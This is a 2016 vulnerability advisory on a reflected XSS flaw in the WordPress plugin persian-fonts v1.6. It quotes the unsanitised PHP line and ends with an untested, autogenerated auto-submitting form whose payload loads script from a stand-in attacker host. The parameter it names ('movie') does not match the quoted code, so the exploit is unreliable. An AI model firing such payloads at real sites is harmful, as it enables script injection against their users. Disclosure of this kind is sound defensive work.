Advisory #: 969
Title: Reflected XSS in wordpress plugin persian-fonts v1.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/persian-fonts
Downloads: 21400
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: persian-fonts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./persian-fonts/uploader.php: 212: <?php _e( 'از نشانی :', $this->_var ); ?> <input type="text" size="70" name="<?php echo $this->_var; ?>[uploadURL]" id="<?php echo $this->_var; ?>-uploadURL" value="<?php if ( $error ) echo $_POST[$this->_var]['uploadURL']; ?>" /> The variable movie appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./persian-fonts/uploader.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/persian-fonts/uploader.php method=post> <input type=hidden name=movie value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>